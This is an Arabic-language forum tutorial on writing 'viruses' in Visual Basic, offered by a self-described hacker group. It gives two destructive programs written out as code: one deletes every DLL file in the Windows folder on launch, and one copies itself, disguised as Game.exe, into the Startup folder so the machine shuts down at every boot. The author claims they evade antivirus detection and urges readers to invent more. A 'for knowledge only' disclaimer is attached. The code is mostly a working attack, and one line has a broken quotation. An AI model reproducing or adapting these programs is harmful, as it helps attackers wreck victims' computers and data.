اصنع فايروس بلغة الفيجوال البيسك

بسم الله الرحمن الرحيم
الفيروسات

من منا لا يعرف الفيروسات و اخطارها؟! و التدمير الممكن تحقيقه بهذه الفيروسات!
من يصنع الفيروسات بغرض الاذي, فليس الا مستهتر غبي يستعمل العلم في اشياء مضرة, و من اخطر الفيروسات التي صنعت حتي الان هو فيروس شرنوبيل, الذي يقوم بتدمير الجهاز كليا, اخترعه شاب في الحادي و العشرين من عمره لا يهوي الا التدمير..

مقدمة عن الفيروسات:
تصنع الفيروسات ببرامج مثل دلفي و باسكال ..الخ, اما ما سنصنعه الان ليس فيروسات, بل برامج مدمرة تقوم بنفس عمل الفيروسات, و لا يستطيع النورتن كشفها..
أفكار هذه الفيروسات بسيطة و سهلة, و كلها بأكواد درسناها من قبل, ولكن لتصميم فيروسك الخاص, يجب ان يتوافر لديك الذكاء, انظر الي الامثلة و اعرف طريقة صنع هذه الفيروسات ثم اصنع افكار مثلها..
ارجو من كل اخ مسلم عدم استخدام هذه الفيروسات ضد اخوه المسلم, غرض نشر هذه الدروس عن الفيروسات هو العلم فقط..
ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ــــــــــــــــبسم الله الرحمن الرحيم
الفيروس الاول

الفكرة:
سيقوم هذا الفيروس بحذف جميع ملفات dll في ويندوز مما يؤدي الي تدميره..
الكود:
افتح مشروع جديد StandartEXE و قم بكتابة الكود التالي:
Private Sub Form_Load()
Call Kill (“C:\WINDOWS\*.dll”)
End Sub
هذه بناء علي ان يكون ويندوز الضحية في C..
يقوم هذا الكود بحذف جميع ملفات dll في ويندوز بدون رسالة تأكيد..
__________________________________________________ ______________بسم الله الرحمن الرحيم
الفيروس الثاني

الفكرة:
سيقوم هذا الفيروس بأغلاق الجهاز كلما فتحته!
الكود:
افتح مشروع جديد StandartEXE و قم بكتابة الكود التالي:
Private Sub Form_Load()
On Error Resume Next
Name (App.Path & “\Game.exe) As (“C:\WINDOWS\Start Menu\Programs\StartUp\Virus2.exe”)
WinDir$ = Environ$("windir")
KillWin$ = WinDir$ + "\Rundll.exe User.exe,ExitWindows"
Shell KillWin$
End Sub
هذه بناء علي ان يكون ويندوز الضحية في C..
في السطر الاول يقوم البرنامج بنقل نفسه الي المسار الثاني, حيث Game.exe هو اسم ملف البرنامج, وذلك ليتم تحميل البرنامج كلما فتحت الجهاز, اما الكود الثاني فهو كود اغلاق الجهاز..(:(::^:


لاتنسو الدعاء لأخوكم عفريت الهكر صاحب منضمة الحسام لبرامج الهكر